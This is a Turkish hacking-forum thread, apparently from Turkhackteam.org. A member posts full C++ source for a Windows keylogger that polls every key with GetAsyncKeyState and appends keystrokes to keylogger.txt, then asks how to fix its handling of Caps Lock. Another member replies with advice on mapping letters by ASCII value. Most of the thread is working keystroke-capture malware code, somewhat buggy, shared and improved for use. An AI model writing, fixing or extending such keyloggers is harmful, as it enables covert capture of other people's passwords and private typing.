c++ keylogger hk

Samir007

Katılımcı Üye
31 Ocak 2016
290
0
Merhaba arkadaslar c++ keyloggerde if(x==VK_CAPITAL) yani kullanici eger caps lock'u basarsa harfleri buyuk yaziyor peki,kullanici programi baslatmadan once caps lock'u basmis olursa bu duzen degisiyor program yanlis yapiyor bunu nasil duzelte bilirim




Kod:
#include<iostream>
#include<stdio.h>
#include<fstream>
#include<windows.h>
#include<time.h>
#include<locale.h>
#include<winuser.h>
#include<conio.h>
#include <string>
using namespace std;

SpecialKeys(string kelime)
{
ofstream out;
out.open("keylogger.txt", fstream::app);
out << kelime;
}

bool tuslar(char i){
switch(i){
case VK_SPACE:
cout << " ";
SpecialKeys(" ");
return 1;
break;
case VK_RETURN:
cout << "\n";
SpecialKeys("\n");
return 1;
break;
case VK_BACK:
cout << "\b";
SpecialKeys("\b");
return 1;
break;
default:return 0;
break;}}





int main()
{char x;

while(1){
for(x = 8;x<256;x++){

if(GetAsyncKeyState(x) == -32767){
if(x == VK_CAPITAL){
int r = 1;
while(r<2){
char t;

for(t=8;t<256;t++){
if(GetAsyncKeyState(t) == -32767){
if(t == VK_CAPITAL){
r = 3;
break;}


else{

if(tuslar(t) == 0 && tus(t) == 0)
{cout << t;
ofstream out;
out.open("keylogger.txt", fstream::app);
out << t;}}
}
}}}
else{
if (tuslar(x) == 0){
if (x >= 65 & x <= 90)
                    {
                        switch (x)
                        {
                        case 65:
cout << "a";
                            SpecialKeys("a");
                            break;
                        case 66:
cout << "b";
                            SpecialKeys("b");
                            break;
                        case 67:
cout << "c";
                            SpecialKeys("c");
                            break;
                        case 68:
cout << "d";
                            SpecialKeys("d");
                            break;
                        case 69:
cout << "e";
                            SpecialKeys("e");
                            break;
                        case 70:
cout << "f";
                            SpecialKeys("f");
                            break;
                        case 71:
cout << "g";
                            SpecialKeys("g");
                            break;
                        case 72:
cout << "h";
                            SpecialKeys("h");
                            break;
                        case 73:
cout << "i";
                            SpecialKeys("i");
                            break;
                        case 74:
cout << "j";
                            SpecialKeys("j");
                            break;
                        case 75:
cout << "k";
                            SpecialKeys("k");
                            break;
                        case 76:
cout << "l";
                            SpecialKeys("l");
                            break;
                        case 77:
cout << "m";
                            SpecialKeys("m");
                            break;
                        case 78:
cout << "n";
                            SpecialKeys("n");
                            break;
                        case 79:
cout << "o";
                            SpecialKeys("o");
                            break;
                        case 80:
cout << "p";
                            SpecialKeys("p");
                            break;
                        case 81:
cout << "q";
                            SpecialKeys("q");
                            break;
                        case 82:
cout << "r";
                            SpecialKeys("r");
                            break;
                        case 83:
cout << "s";
                            SpecialKeys("s");
                            break;
                        case 84:
cout << "t";
                            SpecialKeys("t");
                            break;
                        case 85:
cout << "u";
                            SpecialKeys("u");
                            break;
                        case 86:
cout << "v";
                            SpecialKeys("v");
                            break;
                        case 87:
cout << "w";
                            SpecialKeys("w");
                            break;
                        case 88:
cout << "x";
                            SpecialKeys("x");
                            break;
                        case 89:
cout << "y";
                            SpecialKeys("y");
                            break;
                        case 90:
cout << "z";
                            SpecialKeys("z");
                            break;
                        }
                    }
else{cout << x;
ofstream out;
out.open("keylogger.txt", fstream::app);
out << x;}}

}
}
}
}return 0;
}
 
Moderatör tarafında düzenlendi:

LazyESC

Katılımcı Üye
15 Şub 2012
527
0
Eskişehir
Bu şekilde tek tek harfleri tanimlarsaniz sonu gelmez pc başına geçince mantığı anlatabilirim ama tanımlayarak yapacaksanız ben öyle yapmak istiyorum derseniz kodların ASCII değerlerini tanıtarak yapabilirsiniz örneğin A 065 a 097
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.